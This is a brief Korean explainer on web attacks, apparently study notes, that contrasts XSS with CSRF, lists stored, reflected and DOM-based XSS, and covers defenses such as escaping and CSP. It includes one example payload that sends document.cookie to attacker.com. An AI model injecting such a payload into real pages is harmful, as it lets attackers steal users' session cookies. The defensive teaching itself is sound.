| 공격 유형 | 본질적 목적 | 쉽게 부르는 이름 |
|---|---|---|
| XSS | 브라우저 내부 자산 탈취 (쿠키, localStorage, 세션 등) | 토큰 탈취 공격 |
| CSRF | 사용자 권한 탈취 (의도하지 않은 요청 실행) | 권한 도용 공격, 세션 위조 요청 |
: 공격자가 악성 스크립트를 사용자 브라우저에 삽입하는 공격
<script> 같은 악성 JavaScript를 삽입<p>안녕하세요, 홍길동 님!</p>
👉 그런데 입력값이 아래와 같다면?
<script>fetch('<https://attacker.com/steal?cookie=>' + document.cookie)</script>
👿 이게 실제 HTML로 삽입되면, 브라우저는 이 코드를 실행해서 쿠키, 로컬스토리지 등 민감 정보 탈취 가능
| 유형 | 설명 |
|---|---|
| Stored XSS | DB에 저장된 악성 스크립트 (댓글, 프로필 등) |
| Reflected XSS | URL에 포함된 스크립트가 바로 페이지에 반영됨 |
| DOM-based XSS | JS 코드에서 DOM 조작 중 발생 (innerHTML 등) |
| 방법 | 설명 |
|---|---|
| 입력값 검증 (Validation) | <, > 등 특수문자 필터링 또는 이스케이프 |
| 출력 시 이스케이프 (Escape) | <script> 등으로 변환 |
| Content Security Policy (CSP) | 외부 스크립트 실행 차단 |
| React/Vue 사용 시 자동 방어 | dangerouslySetInnerHTML 같은 함수만 주의하면 안전 |